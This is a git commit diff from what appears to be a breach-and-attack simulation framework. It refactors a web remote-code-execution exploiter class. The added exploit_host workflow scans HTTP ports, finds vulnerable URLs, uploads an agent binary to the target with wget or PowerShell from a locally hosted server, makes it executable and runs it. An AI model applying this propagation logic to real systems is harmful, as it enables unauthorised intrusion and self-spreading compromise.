Notes fixed v.2

This commit is contained in:
Vakaris 2018-08-15 16:01:27 +03:00
parent 0d45a44d6b
commit b8bda692b9
4 changed files with 65 additions and 23 deletions

View File

@ -393,10 +393,9 @@ class HTTPTools(object):
Create http server for file transfer with a lock Create http server for file transfer with a lock
:param host: Variable with target's information :param host: Variable with target's information
:param src_path: Monkey's path on current system :param src_path: Monkey's path on current system
:param lock: Instance of lock :param local_ip: IP where to host server
:param local_ip: :param local_port: Port at which to host monkey's download
:param local_port: :return: Server address in http://%s:%s/%s format and LockedHTTPServer handler
:return:
""" """
# To avoid race conditions we pass a locked lock to http servers thread # To avoid race conditions we pass a locked lock to http servers thread
lock = Lock() lock = Lock()
@ -514,22 +513,22 @@ def get_monkey_depth():
return WormConfiguration.depth return WormConfiguration.depth
def get_monkey_dest_path(src_path): def get_monkey_dest_path(url_to_monkey):
""" """
Gets destination path from source path. Gets destination path from source path.
:param src_path: source path of local monkey. egz : http://localserver:9999/monkey/windows-32.exe :param url_to_monkey: Hosted monkey's url. egz : http://localserver:9999/monkey/windows-32.exe
:return: Corresponding monkey path from configuration :return: Corresponding monkey path from configuration
""" """
from config import WormConfiguration from config import WormConfiguration
if not src_path or ('linux' not in src_path and 'windows' not in src_path): if not url_to_monkey or ('linux' not in url_to_monkey and 'windows' not in url_to_monkey):
LOG.error("Can't get destination path because source path %s is invalid.", src_path) LOG.error("Can't get destination path because source path %s is invalid.", url_to_monkey)
return False return False
try: try:
if 'linux' in src_path: if 'linux' in url_to_monkey:
return WormConfiguration.dropper_target_path_linux return WormConfiguration.dropper_target_path_linux
elif 'windows-32' in src_path: elif 'windows-32' in url_to_monkey:
return WormConfiguration.dropper_target_path_win_32 return WormConfiguration.dropper_target_path_win_32
elif 'windows-64' in src_path: elif 'windows-64' in url_to_monkey:
return WormConfiguration.dropper_target_path_win_64 return WormConfiguration.dropper_target_path_win_64
else: else:
LOG.error("Could not figure out what type of monkey server was trying to upload, " LOG.error("Could not figure out what type of monkey server was trying to upload, "

View File

@ -1,6 +1,5 @@
import logging import logging
from threading import Lock
from exploit import HostExploiter from exploit import HostExploiter
from model import * from model import *
from posixpath import join from posixpath import join
@ -24,9 +23,50 @@ class WebRCE(HostExploiter):
self.HTTP = [str(port) for port in self._config.HTTP_PORTS] self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
self.skip_exist = self._config.skip_exploit_if_file_exist self.skip_exist = self._config.skip_exploit_if_file_exist
@abstractmethod
def exploit_host(self): def exploit_host(self):
raise NotImplementedError() """
Example workflow of the framework. Most likely you will have to override this method.
:return: True if exploited and False otherwise.
"""
# Get open ports
ports = self.get_ports_w(self.HTTP, ["http"])
if not ports:
return False
# Get urls to try to exploit
urls = self.build_potential_urls(ports)
vulnerable_urls = []
for url in urls:
if self.check_if_exploitable(url):
vulnerable_urls.append(url)
self._exploit_info['vulnerable_urls'] = vulnerable_urls
if not vulnerable_urls:
return False
# Skip if monkey already exists and this option is given
if self.skip_exist and self.check_remote_files(vulnerable_urls[0]):
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
return True
# Check for targets architecture (if it's 32 or 64 bit)
if not self.set_host_arch(vulnerable_urls[0]):
return False
# Upload the right monkey to target
data = self.upload_monkey(vulnerable_urls[0])
if data is not False and data['response'] is False:
return False
# Change permissions to transform monkey into executable file
if self.change_permissions(vulnerable_urls[0], data['path']) is False:
return False
# Execute remote monkey
if self.execute_remote_monkey(vulnerable_urls[0], data['path']) is False:
return False
return True
@abstractmethod @abstractmethod
def exploit(self, url, command): def exploit(self, url, command):
@ -34,7 +74,7 @@ class WebRCE(HostExploiter):
A reference to a method which implements web exploit logic. A reference to a method which implements web exploit logic.
:param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension. :param url: Url to send malicious packet to. Format: [http/https]://ip:port/extension.
:param command: Command which will be executed on remote host :param command: Command which will be executed on remote host
:return: Command's output string. Or True/False if it's a blind exploit :return: RCE's output/True if successful or False if failed
""" """
raise NotImplementedError() raise NotImplementedError()
@ -123,7 +163,7 @@ class WebRCE(HostExploiter):
:return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ... :return: Machine architecture string or false. Eg. 'i686', '64', 'x86_64', ...
""" """
if 'linux' in self.host.os['type']: if 'linux' in self.host.os['type']:
resp = self.exploit(url, ARCH_LINUX) resp = self.exploit(url, GET_ARCH_LINUX)
if resp: if resp:
# Pulls architecture string # Pulls architecture string
arch = re.search('(?<=Architecture:)\s+(\w+)', resp) arch = re.search('(?<=Architecture:)\s+(\w+)', resp)
@ -140,7 +180,7 @@ class WebRCE(HostExploiter):
else: else:
return False return False
else: else:
resp = self.exploit(url, ARCH_WINDOWS) resp = self.exploit(url, GET_ARCH_WINDOWS)
if resp: if resp:
if "64-bit" in resp: if "64-bit" in resp:
return "64" return "64"
@ -224,10 +264,9 @@ class WebRCE(HostExploiter):
LOG.error("Unknown target's os type. Skipping.") LOG.error("Unknown target's os type. Skipping.")
return False return False
# Choose command: # Choose command:
if commands: if not commands:
command = self.get_command(path, http_path, commands) commands = {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD}
else: command = self.get_command(path, http_path, commands)
command = self.get_command(path, http_path, {'windows': POWERSHELL_HTTP_UPLOAD, 'linux': WGET_HTTP_UPLOAD})
resp = self.exploit(url, command) resp = self.exploit(url, command)

View File

@ -25,7 +25,7 @@ RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
# Commands used to check for architecture and if machine is exploitable # Commands used to check for architecture and if machine is exploitable
CHECK_COMMAND = "echo %s" % ID_STRING CHECK_COMMAND = "echo %s" % ID_STRING
# Architecture checking commands # Architecture checking commands
ARCH_WINDOWS = "wmic os get osarchitecture" GET_ARCH_WINDOWS = "wmic os get osarchitecture"
ARCH_LINUX = "lscpu" GET_ARCH_LINUX = "lscpu"
DOWNLOAD_TIMEOUT = 300 DOWNLOAD_TIMEOUT = 300

View File

@ -187,6 +187,10 @@ class HTTPServer(threading.Thread):
class LockedHTTPServer(threading.Thread): class LockedHTTPServer(threading.Thread):
""" """
Same as HTTPServer used for file downloads just with locks to avoid racing conditions. Same as HTTPServer used for file downloads just with locks to avoid racing conditions.
You create a lock instance and pass it to this server's constructor. Then acquire the lock
before starting the server and after it. Once the server starts it will release the lock
and subsequent code will be able to continue to execute. That way subsequent code will
always call already running HTTP server
""" """
# Seconds to wait until server stops # Seconds to wait until server stops
STOP_TIMEOUT = 5 STOP_TIMEOUT = 5